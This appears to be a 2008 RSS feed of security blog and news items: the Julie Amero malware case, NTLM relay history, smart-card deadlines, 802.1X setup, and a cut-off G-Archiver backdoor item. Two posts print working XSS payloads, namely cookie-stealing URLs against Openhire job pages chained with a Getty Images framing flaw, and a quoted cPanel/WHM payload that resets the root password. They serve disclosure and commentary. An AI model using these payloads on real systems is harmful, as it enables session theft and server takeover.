<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title><![CDATA[[SecurityRatty] tag: credential]]></title>
    <link>http://securityratty.com/tag/credential</link>
    <description></description>
    <pubDate>Tue, 26 Feb 2008 16:58:00 +0000</pubDate>
    <generator>iRatty Engine</generator>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <item>
      <title><![CDATA[Schoolteacher Julie Amero Released, Felony Charges Dropped]]></title>
      <link>http://securityratty.com/article/611d98bfbfc8499b8666035962d050e9</link>
      <guid>http://securityratty.com/article/611d98bfbfc8499b8666035962d050e9</guid>
      <description><![CDATA[One of the real danger of technology, the reason for so much IT-Insecurity, is that many people dont understand it well
Case in point is the jury trial of Julie Amero, a schoolteacher who was charged...]]></description>
      <content:encoded><![CDATA[<p>One of the real danger of technology, the reason for so much IT-Insecurity, is that many people don&#8217;t understand it well.</p>
<blockquote><p>Case in point is the jury trial of <a rel="nofollow" target="_blank" href="http://voices.washingtonpost.com/securityfix/2008/11/ct_drops_felony_spywareporn_ch.html">Julie Amero, </a>a schoolteacher who was charged with felony for allegedly showing porn to her class&#8211;when in fact the porn sites were popups caused by malware on the classroom computers that popped up <a rel="nofollow" target="_blank" href="http://techbuddha.wordpress.com/2008/11/22/injustice-served-the-julie-amero-case-is-finally-over/">while she was teaching</a>:</p></blockquote>
<blockquote><p>a series of incompetent computer experts and overzealous prosecutors tried to claim that the pornography that appeared on the school computer browser was deliberately viewed. In reality the computer was infected with a browser hijack or other form of malware nastiness that launched a flood of porn pop-ups. There was an outpouring of support and some technical folks like Alex Eckleberry, who led an effort to prove that Julie was innocent of the charges</p></blockquote>
<p>After a long trial, Amero has finally been vindicated. But she has still lost those years of her life spent on the case, her teaching credential, and is being charged a $100 fine. While her trial might be over, her personal troubles aren&#8217;t.</p>]]></content:encoded>
      <pubDate>Mon, 24 Nov 2008 10:35:14 +0000</pubDate>
      <category domain="http://securityratty.com/tag/julie amero">julie amero</category>
      <category domain="http://securityratty.com/tag/julie">julie</category>
      <category domain="http://securityratty.com/tag/computer">computer</category>
      <category domain="http://securityratty.com/tag/incompetent computer experts">incompetent computer experts</category>
      <category domain="http://securityratty.com/tag/amero">amero</category>
      <category domain="http://securityratty.com/tag/porn sites">porn sites</category>
      <category domain="http://securityratty.com/tag/porn">porn</category>
      <category domain="http://securityratty.com/tag/trial">trial</category>
      <category domain="http://securityratty.com/tag/jury trial">jury trial</category>
      <source url="http://feeds.feedburner.com/~r/itsecurity/~3/464364814/">Schoolteacher Julie Amero Released, Felony Charges Dropped</source>
    </item>
    <item>
      <title><![CDATA[Credit for Researchers]]></title>
      <link>http://securityratty.com/article/408b969da73a95cd64bb6d0b550aa038</link>
      <guid>http://securityratty.com/article/408b969da73a95cd64bb6d0b550aa038</guid>
      <description><![CDATA[Computer security researchers are much like scientific researchers in several ways. We build on the research of those who come before us, we sometimes rediscover the same things independently, and...]]></description>
      <content:encoded><![CDATA[<p>Computer security researchers are much like scientific researchers in several ways.  We build on the research of those who come before us, we sometimes rediscover the same things independently, and other times we forget where we learned things and sometimes claim them as our own.  We also occasionally take an engineer&#8217;s approach and implement research discovered by others and not credit them as it&#8217;s the implementation into a tool that matters to us.</p>
<p>The latest Microsoft patch <a href="http://www.microsoft.com/technet/security/bulletin/ms08-068.mspx">MS08-68</a> is a great example. It is a problem with NTLM authentication where the attacker can force a client to authenticate to him and the credentials, while not exposed in cleartext, can be relayed to another server or brute forced to obtain the cleartext.  This is a very classic crypto protocol vulnerability.  It&#8217;s not the crypto algorithms that are the problem, but the protocol implementation.</p>
<p>Microsoft recently fixed the problem, perhaps due to the availability of exploit code, the availability of an easy to use Metasploit implementation, or perhaps Microsoft&#8217;s changed tolerance for vulnerabilities. We can sum it up as a change in the threat space that made it worth fixing.  But make no mistake, this is a very old problem.</p>
<p>News reports have been citing Sir Dystic&#8217;s SMBrelay tool, which was published in March, 2001, as the first knowledge of this vulnerability. Eric Shultze who worked at MSRC in 2001 just yesterday is quoted as saying, &#8220;I have been holding my breath since 2001 for this patch.&#8221; Obviously it is a long time coming.  But this wasn&#8217;t the first publication of the problem.  In 2000, one of my collegues on the research team at @stake, Christian Rioux (aka Dildog) published the <a href="http://packetstormsecurity.org/advisories/atstake/A091400-1">telnet NTLM authentication vulnerability</a>.</p>
<p>Rioux&#8217;s advisory has a great description of the credential relay and cracking weaknesses. I have talked to him and he says he discovered these problems independently, but he didn&#8217;t find them first.  Dominique Brezinski published exactly these NTLM vulnerabilities in the SMB protocol in 1996 in a paper titled, &#8220;A Weakness in CIFS Authentication&#8221;.  The earliest reference I can find on the paper on the net is <a href="http://mvb.saic.com/freeware/vmslt97b/security/cifs-mim.txt">here</a>  where it is included in another paper published in 1997.  Such is the ad-hoc world of independent security research of 12 years ago which still continues today.</p>
<p>It seems ridiculous that a field like security research, which is so important to the running of modern society is so ad-hoc.  Shouldn&#8217;t we know who discovered a vulnerability?  Shouldn&#8217;t all researchers and engineers know about it? More importantly if someone implements a tool that takes advantage of a vulnerability shouldn&#8217;t they credit the discoverer?  Don&#8217;t get me wrong.  Implementation takes a lot of work and sometimes makes all the difference in makeing people aware of a security problem.  After all when I was at the L0pht our slogan was, &#8220;Making the theoretical, practical&#8221;. I still think researchers should get credit when credit is due.</p>
<p>The security community has gotten better at documentating our research but I still see instances of independent discovery, misplaced credit, and tools giving no credit to researchers.  I hate to say it but getting a bit more academic is in order.  Credit is the currency of a researcher and placing it well will reward the right people and we will all benefit.</p>
]]></content:encoded>
      <pubDate>Thu, 13 Nov 2008 16:40:18 +0000</pubDate>
      <category domain="http://securityratty.com/tag/security research">security research</category>
      <category domain="http://securityratty.com/tag/research">research</category>
      <category domain="http://securityratty.com/tag/independent security research">independent security research</category>
      <category domain="http://securityratty.com/tag/researchers">researchers</category>
      <category domain="http://securityratty.com/tag/security">security</category>
      <category domain="http://securityratty.com/tag/credit">credit</category>
      <category domain="http://securityratty.com/tag/security community">security community</category>
      <category domain="http://securityratty.com/tag/scientific researchers">scientific researchers</category>
      <category domain="http://securityratty.com/tag/computer security researchers">computer security researchers</category>
      <source url="http://www.veracode.com/blog/2008/11/credit-for-researchers/">Credit for Researchers</source>
    </item>
    <item>
      <title><![CDATA[Microsoft Fixes 8-year Old Design Flaw in SMB]]></title>
      <link>http://securityratty.com/article/a9e76f6b098eb908aafae4695f6fe6e9</link>
      <guid>http://securityratty.com/article/a9e76f6b098eb908aafae4695f6fe6e9</guid>
      <description><![CDATA[With regard to the recent Patch Tuesday fix, there has been an issue fixed regarding NTLM Relaying, that has been around for more than eight years
In 2000, I wrote an advisory about NTLM relaying (...]]></description>
      <content:encoded><![CDATA[<p>With regard to the recent Patch Tuesday fix, there has been an issue fixed regarding NTLM Relaying, that has been around for more than eight years. </p>
<p>In 2000, I wrote an <a href="http://packetstormsecurity.org/advisories/atstake/A091400-1">advisory</a> about NTLM relaying (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0834">CVE-2000-0834</a>). The problem turned out to be significantly larger than I originally suggested in the advisory. The attack extended to other NTLM-based authentications on other protocols and allowed general-purpose credential theft via a man-in-the-middle attack.</p>
<p>The <a href="http://en.wikipedia.org/wiki/SMBRelay">SMBRelay</a> tool was published in 2001 by Sir Dystic of Cult Of The Dead Cow, and that really took it to the next level. The protocol completely fell apart. It kicked off a number of other analyses of the NTLM protocol that finally resulted in this patch.  Eight years after it&#8217;s discovery.</p>
<p>At least they got around to it. Thanks!</p>
]]></content:encoded>
      <pubDate>Wed, 12 Nov 2008 18:11:12 +0000</pubDate>
      <category domain="http://securityratty.com/tag/ntlm protocol">ntlm protocol</category>
      <category domain="http://securityratty.com/tag/ntlm">ntlm</category>
      <category domain="http://securityratty.com/tag/general-purpose credential theft">general-purpose credential theft</category>
      <category domain="http://securityratty.com/tag/issue fixed">issue fixed</category>
      <category domain="http://securityratty.com/tag/significantly larger">significantly larger</category>
      <category domain="http://securityratty.com/tag/attack">attack</category>
      <category domain="http://securityratty.com/tag/dead cow">dead cow</category>
      <category domain="http://securityratty.com/tag/sir dystic">sir dystic</category>
      <category domain="http://securityratty.com/tag/smbrelay tool">smbrelay tool</category>
      <source url="http://www.veracode.com/blog/2008/11/microsoft-fixes-8-year-old-design-flaw-in-smb/">Microsoft Fixes 8-year Old Design Flaw in SMB</source>
    </item>
    <item>
      <title><![CDATA[Federal agencies miss smart card ID deadlines by wide margin]]></title>
      <link>http://securityratty.com/article/4c798611733d9da8321357e2b50bea56</link>
      <guid>http://securityratty.com/article/4c798611733d9da8321357e2b50bea56</guid>
      <description><![CDATA[Federal agencies continue to miss by a wide margin the implementation deadlines for an ambitious government-wide smart card identity credential initiative designed to shore up the security of federal...]]></description>
      <content:encoded><![CDATA[Federal agencies continue to miss by a wide margin the implementation deadlines for an ambitious government-wide smart card identity credential initiative designed to shore up the security of federal networks and facilities.]]></content:encoded>
      <pubDate>Wed, 05 Nov 2008 21:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/wide margin">wide margin</category>
      <category domain="http://securityratty.com/tag/federal agencies continue">federal agencies continue</category>
      <category domain="http://securityratty.com/tag/federal networks">federal networks</category>
      <category domain="http://securityratty.com/tag/implementation deadlines">implementation deadlines</category>
      <category domain="http://securityratty.com/tag/miss">miss</category>
      <category domain="http://securityratty.com/tag/shore">shore</category>
      <category domain="http://securityratty.com/tag/security">security</category>
      <category domain="http://securityratty.com/tag/facilities">facilities</category>
      <source url="http://www.networkworld.com/news/2008/110608-federal-agencies-miss-smart-card.html?fsrc=rss-security">Federal agencies miss smart card ID deadlines by wide margin</source>
    </item>
    <item>
      <title><![CDATA[The Semantics of Identity Assurance]]></title>
      <link>http://securityratty.com/article/d3f715f6c14b767ad214c53f71d56be9</link>
      <guid>http://securityratty.com/article/d3f715f6c14b767ad214c53f71d56be9</guid>
      <description><![CDATA[Identity Assurance was a hot topic at DigitalIDWorld this year, but as with many terms (such as policy or governance), it means different things to different people.According to the Liberty Alliance...]]></description>
      <content:encoded><![CDATA[<p>Identity Assurance was a hot topic at <a href="http://public.cxo.com/conferences/index.html?conferenceID=24">DigitalIDWorld</a> this year, but as with many terms (such as policy or governance), it means  different things to different people.According to the <a href="http://www.projectliberty.org/">Liberty  Alliance Project</a>, &ldquo;Identity&rdquo; is &ldquo;A unique name for single person&rdquo; [<em>sic</em>] and &ldquo;Assurance level&rdquo; is &ldquo;A degree  of certainty that a claimant has presented a credential that refers to the  claimant&rsquo;s identity.&rdquo;<a href="#_ftn1" name="_ftnref1" title="" id="_ftnref1"> </a>The Identity Assurance Expert Group (IAEG)&rsquo;s  goal is to &ldquo;<B>provide public and private sector organizations with a uniform  means of relying on digital credentials...</b>]]></content:encoded>
      <pubDate>Mon, 22 Sep 2008 15:36:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/identity assurance">identity assurance</category>
      <category domain="http://securityratty.com/tag/identity">identity</category>
      <category domain="http://securityratty.com/tag/identity assurance expert">identity assurance expert</category>
      <category domain="http://securityratty.com/tag/claimants identity">claimants identity</category>
      <category domain="http://securityratty.com/tag/liberty alliance project">liberty alliance project</category>
      <category domain="http://securityratty.com/tag/single person">single person</category>
      <category domain="http://securityratty.com/tag/digital credentials">digital credentials</category>
      <category domain="http://securityratty.com/tag/assurance level">assurance level</category>
      <category domain="http://securityratty.com/tag/provide public">provide public</category>
      <source url="http://www.rsa.com/blog/blog_entry.aspx?id=1349">The Semantics of Identity Assurance</source>
    </item>
    <item>
      <title><![CDATA[XSF & XSS: Double your pleasure, double your fun]]></title>
      <link>http://securityratty.com/article/1fae85d8335f0c9fbe56b8858c8692c2</link>
      <guid>http://securityratty.com/article/1fae85d8335f0c9fbe56b8858c8692c2</guid>
      <description><![CDATA[If you've read this blog, or those of my peers, you're likely quite familiar with cross-site scripting, and the problems associated with open redirect vulnerabilities. A vulnerability you may be less...]]></description>
      <content:encoded><![CDATA[If you've read this blog, or those of my peers, you're likely quite familiar with cross-site scripting, and the problems associated with open redirect vulnerabilities. A vulnerability you may be less familiar with is <a href="http://www.xssed.com/news/26/Cross-site_framed/" target="_blank">cross-site framing</a>, which largely couples the best of both above-mentioned vulnerabilities. <br />What then, if there's a cross-site framing vulnerability coupled with cross-site scripting in the content offered by the frame? All sorts of problems come to mind: phishing, malware, credential theft; all arguably twice removed from the attacker's source, tucked away in the context of two victim sites.<br />First, I'll discuss the original XSS issue that led to this finding.<br />Recently, I was investigating a flawed parameter in <a href="http://www.openhire.com/" target="_blank">Openhire</a>, a career posting vendor used by major companies like <a href="http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?company_id=15635&version=1" target="_blank">Crate&Barrel</a>, Eileen Fisher, Enterprise, Benjamin Moore, Scottrade, and Getty Images.<br />Most of these sites simply link to the Openhire offering that hosts job postings on their behalf which, in turn, has been crafted to look like the referring site.<br />As an example, here's Scottrade's employment page hosted by Openhire.<br /><br /><span style="font-style:italic;"><a href="http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?version=1&company_id=15624" target="_blank">http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?version=1&company_id=15624</a></span><br /><br />Standard stuff, looks nicely like the Scottrade site, so everything's cool, right?<br />Wrong? What if someone hosting a service on your behalf suffers a security gap?<br /><span style="font-weight:bold;">You're only as strong as your weakest link!</span><br />Here's the posting for an Application Security Engineer (funny, eh?) at Scottrade as hosted on their behalf by Openhire:<br /><br /><span style="font-style:italic;"><a href="http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=976367&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters%3B%3B%3BInformation%20Technology%3B%3B%3BSecurity&startflag=3&CFID=66851845&CFTOKEN=29a95-d12594d4-47d9-49e8-9067-1091bdf68e80" target="_blank">http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=976367&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters%3B%3B%3BInformation%20Technology%3B%3B%3BSecurity&startflag=3&CFID=66851845&CFTOKEN=29a95-d12594d4-47d9-49e8-9067-1091bdf68e80</a></span><br /><br />Now here the same job posting spewing massive cookie data:<br /><br /><span style="font-style:italic;"><a href="http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=%22%3E%3CSCRIPT%3Ealert(document.cookie)%3C/SCRIPT%3E&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters;;;Information%20Technology;;;Security&startflag=3" target="_blank">http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=%22%3E%3CSCRIPT%3Ealert(document.cookie)%3C/SCRIPT%3E&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters;;;Information%20Technology;;;Security&startflag=3</a></span><br /><br />Screen shot offered below, as the code above will likely be repaired very soon by Openhire. I notified them this past Thursday.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/SNcebDIT4JI/AAAAAAAAADA/2umzh0wbmmw/s1600-h/Scottrade_Openhire.png" target="_blank"><img style="cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/SNcebDIT4JI/AAAAAAAAADA/2umzh0wbmmw/s320/Scottrade_Openhire.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5248697340769067154" /></a><br /><br />It's bad enough when there's an application security hole in code someone else is hosting on your behalf, but what if your method of displaying said code is also at risk? Enter the Getty Images Jobs page.<br /><br /><span style="font-style:italic;"><a href="http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=careeropps&startflag=0&company_id=15531&version=2&CFID=12265212&CFTOKEN=60213778" target="_blank">http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=careeropps&startflag=0&company_id=15531&version=2&CFID=12265212&CFTOKEN=60213778</a></span><br /><br />Watch what happens when you pull the Openhire code. Can you say self-replicating frame loop from hell (in Firefox)? Trust me your browser will crash if you leave this running too long. This will likely be fixed soon, so if the URL doesn't work, the screen shot exemplifies the issue.<br /><br /><a href="http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html" target="_blank">http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html</a><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/SNcqO933d4I/AAAAAAAAADY/SSzLv3ZpiN0/s1600-h/GettyonGetty.png" target="_blank"><img style="cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/SNcqO933d4I/AAAAAAAAADY/SSzLv3ZpiN0/s320/GettyonGetty.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5248710327339022210" /></a><br /><br />What if, instead of Openhire's Getty Images page, or nothing at all (which obviously creates its own issue), we drop in an arbitrary URL?<br />Yep, you guessed it.<br /><span style="font-style:italic;"><br />http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://www.xssed.com/news/26/Cross-site_framed/</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/SNcmqF3wQyI/AAAAAAAAADI/EhR6rYOmwlI/s1600-h/Getty_XSF.png" target="_blank"><img style="cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/SNcmqF3wQyI/AAAAAAAAADI/EhR6rYOmwlI/s320/Getty_XSF.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5248706395295990562" /></a><br /><br />Now, bringing it all home for double the pleasure, double the fun, what if we coupled the original Openhire cross-site scripting vuln with Getty Images cross-site frame vuln?<br /><br />It hurts twice as much, in my book.<br /><br /><span style="font-style:italic;">http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=%22%3E%3CSCRIPT%3Ealert(document.cookie)%3C/SCRIPT%3E&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters;;;Information%20Technology;;;Security&startflag=3</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/SNco1c6ensI/AAAAAAAAADQ/QaKByEFozTU/s1600-h/Getty%2BScottrade.png" target="_blank"><img style="cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/SNco1c6ensI/AAAAAAAAADQ/QaKByEFozTU/s320/Getty%2BScottrade.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5248708789483249346" /></a><br /><br />The lessons learned:<br />1) Ensure your partners are writing secure code on you behalf.<br />2) Ensure that the code you utilize to incorporate said partner's code is also well written. ;-)<br /><br />Double the headache, double the dumb.<br /><br /><a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2008/09/xsf-xss-double-your-pleasure-double.html&title=XSF%20&%20XSS:%20Double%20your%20pleasure,%20double%20your%20fun " title="XSF & XSS: Double your pleasure, double your fun ">del.icio.us</a> | <a href="http://digg.com/submit?phase=2&amp;url=http://holisticinfosec.blogspot.com/2008/09/xsf-xss-double-your-pleasure-double.html" title="XSF & XSS: Double your pleasure, double your fun ">digg</a>]]></content:encoded>
      <pubDate>Sun, 21 Sep 2008 17:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/openhire code">openhire code</category>
      <category domain="http://securityratty.com/tag/openhire">openhire</category>
      <category domain="http://securityratty.com/tag/original openhire cross-site">original openhire cross-site</category>
      <category domain="http://securityratty.com/tag/scottrade site">scottrade site</category>
      <category domain="http://securityratty.com/tag/scottrade">scottrade</category>
      <category domain="http://securityratty.com/tag/cross-site">cross-site</category>
      <category domain="http://securityratty.com/tag/site">site</category>
      <category domain="http://securityratty.com/tag/secure code">secure code</category>
      <category domain="http://securityratty.com/tag/code">code</category>
      <source url="http://holisticinfosec.blogspot.com/2008/09/xsf-xss-double-your-pleasure-double.html">XSF &amp; XSS: Double your pleasure, double your fun</source>
    </item>
    <item>
      <title><![CDATA[Cross-site scripting CAN be used to hack a server]]></title>
      <link>http://securityratty.com/article/731632e92c0fca2d6e043211ca4b8c08</link>
      <guid>http://securityratty.com/article/731632e92c0fca2d6e043211ca4b8c08</guid>
      <description><![CDATA[Likely you remember when Joseph Pierini at McAfee Secure / Hacker Safe said XSS wasn't important because &quot;cross-site scripting can't be used to hack a server. You may be able to do other things with...]]></description>
      <content:encoded><![CDATA[Likely you remember when Joseph Pierini at McAfee Secure / Hacker Safe said XSS wasn't important because <span style="font-style:italic;">"cross-site scripting can't be used to hack a server. You may be able to do other things with it. You may be able to do things that affect the end-user or the client. But the customer data protected with the server, in the database, isn't going to be compromised by a cross-site scripting attack, not directly."</span><br />That gem has made McAfee <a href="http://pwnie-awards.org/2008/awards.html#lamestvendor" target="_blank">Pwnie</a> worthy (winners announced tomorrow!); may the Lamest Vendor win. <br />That said, anyone with a clue knows that XSS attacks are ideal for credential theft, and if you can steal credentials, you can hack a server.<br />Looking for a textbook example? Check out <a href="http://skeptikal.org/static.php?page=about_mckt" target="_blank">mckt's</a> new blog, <a href="http://skeptikal.org/" target="_blank">skeptikal.org</a>.<br /><span style="font-weight:bold;">Here's a highlight:</span><br /><span style="font-style:italic;">"Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:<br />"onmouseover="alert(1337)<br />When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.<br />But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':<br />"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';<br />f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);<br />d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);<br />d.name='password2';d.value='owned';f.submit()<br />Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives."</span><br /><br />Hmm...I'd say that would be a server hack. ;-)<br />Welcome, Mike...keep up the good work.<br /><br /><a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2008/08/cross-site-scripting-can-be-used-to.html&title=Cross-site%20scripting%20can%20be%20used%20to%20hack%20a%20server " title="Cross-site scripting can be used to hack a server ">del.icio.us</a> | <a href="http://digg.com/submit?phase=2&amp;url=http://holisticinfosec.blogspot.com/2008/08/cross-site-scripting-can-be-used-to.html" title="Cross-site scripting can be used to hack a server ">digg</a>]]></content:encoded>
      <pubDate>Tue, 05 Aug 2008 18:06:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/server">server</category>
      <category domain="http://securityratty.com/tag/server hack">server hack</category>
      <category domain="http://securityratty.com/tag/hack">hack</category>
      <category domain="http://securityratty.com/tag/manager">manager</category>
      <category domain="http://securityratty.com/tag/file manager tool">file manager tool</category>
      <category domain="http://securityratty.com/tag/file">file</category>
      <category domain="http://securityratty.com/tag/root password">root password</category>
      <category domain="http://securityratty.com/tag/email">email</category>
      <category domain="http://securityratty.com/tag/cpanel user">cpanel user</category>
      <source url="http://holisticinfosec.blogspot.com/2008/08/cross-site-scripting-can-be-used-to.html">Cross-site scripting CAN be used to hack a server</source>
    </item>
    <item>
      <title><![CDATA[Successful 802.1X Every Time]]></title>
      <link>http://securityratty.com/article/31c561f94756b4a64cf6425397c85c5b</link>
      <guid>http://securityratty.com/article/31c561f94756b4a64cf6425397c85c5b</guid>
      <description><![CDATA[Its not rocket science, but any time we mingle and intertwine four or five different pieces of technology, theres always the potential for a mess or at least a misconfiguration or two along the way....]]></description>
      <content:encoded><![CDATA[<p>It&#8217;s not rocket science, but any time we mingle and intertwine four or five different pieces of technology, there&#8217;s always the potential for a mess&#8230; or at least a misconfiguration or two along the way. Don&#8217;t know what 802.1X is? Check out the recent <a href="http://www.securityuncorked.com/security-uncorked/2008/4/2/what-is-8021x-heres-a-technology-primer-for-you.html" target="_blank">802.1X technology primer</a>. </p><p><strong>If you&#8217;re planning to, or are&nbsp;implementing wired&nbsp;802.1X, wireless security&nbsp;and/or NAC</strong>, the contents of this blog <em>may</em> save you hours of time and trouble. </p><p>Throughout the implementations I&#8217;ve done, for both wired and wireless 802.1X, I&#8217;ve developed a procedure for implementing and testing 802.1X each step of the way. Following these steps my seem to be tedious and unnecessarily time-consuming. But, if&nbsp; you&#8217;re just starting with 802.1X, I&#8217;m offering a way to implement it in phased pieces that will give you the information to test, confirm and troubleshoot at each step. </p><p>To be honest, I frequently skip these steps, but I&#8217;ve done many 802.1X implementations and can <em>usually</em> hit the bullseye the first time (unless there&#8217;s buggy software or firmware- <em>you guys know who you are</em>). But, if something doesn&#8217;t work, I start right back at Number 1 here and I follow this procedure. </p><p><strong>1) Configure wired 802.1X</strong><br />First setup the basic wired 802.1X. Ideally, start with a Windows test, using XP SP3 or a later server edition and PEAP. Provision RADIUS, I recommend Microsoft IAS because it&#8217;s well-documented and well supported. Even if you have other future plans, if you&#8217;re using Active Directory, start with IAS. You&#8217;ll need to setup a test RADIUS group and policy and link to AD. Get a test switch, add it as a RADIUS client, and configure it to talk to your RADIUS. Set up some ports for 1X and enable it on the switch. I recommend testing with PEAP as the authentication method and a Windows credential pass-thru. <em>Note- you&#8217;ll need to create a server certificate to use PEAP- a self-signed Microsoft cert is fine.</em> </p><p>If this simple configuration doesn&#8217;t work, you have some troubleshooting options. <strong>First</strong>, view the system events log in the RADIUS/AD server and look for informational events from IAS. If the authentication request is making it from the client -&gt; switch -&gt; RADIUS, you&#8217;ll see something here. The something you see should tell you if the EAP method is mismatched, or if the credentials were wrong, etc. <strong>Your second</strong> line of troubleshooting comes if you don&#8217;t see any RADIUS log activity. If that happens, throw on a packet capture utility like <a class="offsite-link-inline" href="http://www.wireshark.org/" target="_blank">Wireshark</a>. You want to search for 2&nbsp;things. First look for conversations from your Test Switch to the RADIUS server (filter on IP or MACs). If you see something here, see where the conversation drops off. If that comes up empty, it means the conversation is terminated between the Test Switch and Test Client. I have some neat tricks for troubleshooting I&#8217;ll share with you later. </p><p style="margin-right: 0px"><strong>2) Add in Wireless<br /></strong>If you&#8217;re planning to implement 802.1X for wireless, now is the time to throw 802.11 in the mix. It&#8217;s harder to sniff wireless traffic for troubleshooting, which is why I recommend starting with wired 1X. Keep it simple, and then start layering. Once you have the wired 1X configured, all you need to do is get your AP ready and configure it just as you did your switch- add it as a RADIUS client and configure it to talk to RADIUS. For wireless, you&#8217;ll need to configure encryption also. Note, I recommend (for testing) to begin with your primary VLAN. </p><p>If your wireless 802.1X isn&#8217;t working, follow our troubleshooting above and re-check settings based on the RADIUS event log contents. If nothing is making it to RADIUS, then most likely something is misconfigured in your AP/Controller and the AP isn&#8217;t communicating with the RADIUS server. You know the rest of it&#8217;s working (RADIUS, AD, Client) so you can narrow your troubleshooting scope. Once that&#8217;s working you can stop if wireless is your goal, or keep going if you&#8217;re layering on more security.</p><p style="margin-right: 0px"><strong>3) Replace with Custom Pieces</strong><br />If you&#8217;re planning to use a different RADIUS server or&nbsp;a different supplicant, now would be a good time to start swapping out our vanilla configuration with custom pieces. Replace 1 piece at a time and re-test. </p><p style="margin-right: 0px"><strong>4) Add in NAC or Endpoint Integrity</strong><br />Most NAC or EI solutions will integrate with your 802.1X infrastructure (if you want them to) and can be &#8216;consulted&#8217; prior to authenticating and opening the secured port. My suggestion is to always get 1X working 100% before you add any type of integrity or compliance testing. </p><p style="margin-right: 0px">If you follow these steps, you can turn a complex configuration into a set of simple baby-steps. It may sound stupid, but I promise it&#8217;ll work for you every time!</p><p style="margin-right: 0px"># # #</p><p>&nbsp;</p>
]]></content:encoded>
      <pubDate>Fri, 20 Jun 2008 00:18:15 +0000</pubDate>
      <category domain="http://securityratty.com/tag/test radius">test radius</category>
      <category domain="http://securityratty.com/tag/radius">radius</category>
      <category domain="http://securityratty.com/tag/radius log activity">radius log activity</category>
      <category domain="http://securityratty.com/tag/test">test</category>
      <category domain="http://securityratty.com/tag/radius client">radius client</category>
      <category domain="http://securityratty.com/tag/test client">test client</category>
      <category domain="http://securityratty.com/tag/time">time</category>
      <category domain="http://securityratty.com/tag/radius server">radius server</category>
      <category domain="http://securityratty.com/tag/test switch">test switch</category>
      <source url="http://www.securityuncorked.com/security-uncorked/2008/6/20/successful-8021x-every-time.html">Successful 802.1X Every Time</source>
    </item>
    <item>
      <title><![CDATA[Backdoor in G-Archiver]]></title>
      <link>http://securityratty.com/article/6d47ac68cc94c154a84e53c139a13ce8</link>
      <guid>http://securityratty.com/article/6d47ac68cc94c154a84e53c139a13ce8</guid>
      <description><![CDATA[Here is another data point that simple backdoors are being placed into free applications. A programmer, Dustin Brooks, was inspecting a free Gmail backup utility, called G-Archiver , with reflector...]]></description>
